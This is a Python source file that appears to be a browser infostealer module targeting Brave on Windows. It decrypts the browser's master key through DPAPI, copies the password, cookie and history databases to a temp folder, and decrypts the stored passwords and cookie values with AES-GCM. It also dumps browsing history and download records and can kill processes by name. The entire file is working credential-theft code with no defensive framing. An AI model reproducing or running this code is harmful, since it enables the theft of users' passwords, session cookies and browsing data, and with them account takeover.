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brave.py
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import os,sys,io
import json
import shutil
import base64
import sqlite3
import browser_cookie3
from Cryptodome.Cipher import AES
from win32crypt import CryptUnprotectData
from datetime import datetime, timezone, timedelta
import wmi
class Brave:
def __init__(self):
self._user_data = os.getenv("LOCALAPPDATA") + "\\BraveSoftware\\Brave-Browser\\User Data"
self._master_key = self._get_master_key()
def get_installed_browsers(self):
default_dir_paths = ["C:\\Program Files\\BraveSoftware\\Brave-Browser\\Application\\brave.exe",
"C:\\Program Files (x86)\\BraveSoftware\\Brave-Browser\\Application\\brave.exe"]
for path in default_dir_paths:
if os.path.exists(path):
return True
return False
def kill_program(self,program_name):
try:
f = wmi.WMI()
for process in f.Win32_Process():
if program_name in process.Name:
process.Terminate()
return True
return False
except Exception as e:
return False
def _get_master_key(self):
try:
if self.get_installed_browsers():
with open(self._user_data + "\\Local State", "r") as f:
local_state = f.read()
local_state = json.loads(local_state)
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
master_key = master_key[5:]
master_key = CryptUnprotectData(master_key, None, None, None, 0)[1]
return master_key
return None
except Exception as e:
return e
@staticmethod
def _decrypt(buff, master_key):
try:
iv = buff[3:15]
payload = buff[15:]
cipher = AES.new(master_key, AES.MODE_GCM, iv)
decrypted_pass = cipher.decrypt(payload)
decrypted_pass = decrypted_pass[:-16].decode()
return decrypted_pass
except Exception as e:
return str(e)
@staticmethod
def _convert_time(time):
try:
epoch = datetime(1601, 1, 1, tzinfo=timezone.utc)
code_stamp = epoch + timedelta(microseconds=time)
return code_stamp.strftime('%Y/%m/%d - %H:%M:%S')
except Exception as e:
return e
def convert_size(self,size_bytes):
try:
suffixes = ['B', 'KB', 'MB', 'GB']
suffix_index = 0
size = float(size_bytes)
while size >= 1024 and suffix_index < len(suffixes) - 1:
size /= 1024
suffix_index += 1
return f"{size:.2f} {suffixes[suffix_index]}"
except Exception as e:
return e
def get_file_path(self, paths):
for root, dirs, files in os.walk(self._user_data):
for file in files:
if file==paths:
return os.path.join(root, file)
def brave_passwords(self):
try:
login_db = self.get_file_path("Login Data")
if login_db:
login_db_copy = os.getenv("TEMP") + "\\Login.db"
shutil.copy2(login_db, login_db_copy)
conn = sqlite3.connect(login_db_copy)
cursor = conn.cursor()
password_data = ""
try:
cursor.execute("SELECT origin_url, username_value, password_value, date_created, date_last_used, date_password_modified FROM logins order by date_created desc")
for item in cursor.fetchall():
url = item[0]
username = item[1]
encrypted_password = item[2]
date_created = self._convert_time(item[3])
last_used = self._convert_time(item[4])
last_modified=self._convert_time(item[5])
decrypted_password = self._decrypt(encrypted_password, self._master_key)
result = f"URLs: {url}\n"
result += f"Username: {username}\n"
result += f"Password : {decrypted_password}\n"
result += f"Creation date: {date_created}\n"
result += f"Last Access date: {last_used}\n"
result += f"Last modification date : {last_modified}\n\n"
password_data += result
# password_data.append({'url': url, 'username': username, 'password': decrypted_password})
except sqlite3.Error:
pass
cursor.close()
conn.close()
os.remove(login_db_copy)
return password_data
else:
return None
except Exception as e:
return e
def brave_passwords_to_excel(self):
try:
login_db = self.get_file_path("Login Data")
if login_db:
login_db_copy = os.getenv("TEMP") + "\\Login.db"
shutil.copy2(login_db, login_db_copy)
conn = sqlite3.connect(login_db_copy)
cursor = conn.cursor()
password_data =[]
try:
cursor.execute("SELECT origin_url, username_value, password_value, date_created, date_last_used, date_password_modified FROM logins order by date_created desc")
for item in cursor.fetchall():
url = item[0]
username = item[1]
encrypted_password = item[2]
decrypted_password = self._decrypt(encrypted_password, self._master_key)
creation_date= self._convert_time(item[3])
last_used = self._convert_time(item[4])
last_modified=self._convert_time(item[5])
result = [url, username,decrypted_password,creation_date,last_used,last_modified]
password_data.append(result)
except sqlite3.Error:
pass
cursor.close()
conn.close()
os.remove(login_db_copy)
return password_data
else: return None
except Exception as e:
return e
def get_brave_history(self):
try:
if self.get_installed_browsers():
data = ""
# sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8')
history_file_path = self.get_file_path("History")
if history_file_path:
history_db_copy = os.getenv("TEMP") + "\\History.db"
shutil.copy2(history_file_path, history_db_copy)
conn = sqlite3.connect(history_db_copy)
cursor = conn.cursor()
cursor.execute("SELECT url,title, last_visit_time FROM urls order by last_visit_time desc")
results = cursor.fetchall()
for row in results:
urls = row[0]
title = row[1]
LastVisitTime = self._convert_time(row[2])
messages = f"Urls: {urls}\n"
messages+= f"Title: {title}\n"
messages+= f"Last Visited: {LastVisitTime}\n\n"
data += messages
cursor.close()
conn.close()
os.unlink(history_db_copy)
return data
else: return None
else:
return None
except Exception as e:
return e
def get_brave_downloads(self):
try:
if self.get_installed_browsers():
history_db = self.get_file_path("History")
if history_db:
history_db_copy = os.getenv("TEMP") + "\\History.db"
shutil.copy2(history_db, history_db_copy)
conn = sqlite3.connect(history_db_copy)
c = conn.cursor()
c.execute("SELECT tab_url, tab_referrer_url , referrer, current_path,target_path, start_time, end_time, received_bytes,total_bytes, last_modified , last_access_time,mime_type FROM downloads order by end_time desc")
downloads = c.fetchall()
result = ""
for download in downloads:
resul = f"Urls: {download[0]}\n"
resul += f"Referrer Urls: {download[1]}\n"
resul += f"Referrer: {download[2]}\n"
resul += f"Current Path: {download[3]}\n"
resul += f"Target Path: {download[4]}\n"
resul += f"Start Time: {self._convert_time(download[5])}\n"
resul += f"End Time: {self._convert_time(download[6])}\n"
resul += f"Received Bytes: {self.convert_size(download[7])}\n"
resul += f"Total Bytes: {self.convert_size(download[7])}\n"
resul += f"Last modified: {download[9]}\n"
resul += f"Last Access Time: {self._convert_time(download[10])}\n"
resul += f"Mime Type: {download[11]}\n\n"
result +=resul
c.close()
conn.close()
os.remove(history_db_copy)
conn.close()
return result
else: return None
else: return None
except Exception as e:
return e
def brave_cookies(self):
if self.get_installed_browsers():
cookies_data =""
cookies_path= self.get_file_path("Cookies")
if cookies_path:
shutil.copy2(cookies_path, "cookies.db")
conn= sqlite3.connect("cookies.db")
connect= conn.cursor()
connect.execute("SELECT name, host_key,encrypted_value, creation_utc, expires_utc, last_access_utc, source_port FROM cookies")
rows = connect.fetchall()
for row in rows:
message= f"Cookies Name: {row[0]}\n"
message +=f"Domain Name: {row[1]}\n"
message +=f"Cookies value : {self._decrypt(row[2],self._master_key)}\n"
message +=f"Creation date: {self._convert_time(row[3])}\n"
message +=f"Expire date: {self._convert_time(row[4])}\n"
message +=f"Last Access date: {self._convert_time(row[5])}\n"
message +=f"Source port: {row[6]}\n\n"
cookies_data += message
connect.close()
conn.close()
os.unlink("cookies.db")
return cookies_data
else: return None
else: return None
if __name__ == "__main__":
brave = Brave()
# print(brave.get_file_path("History"))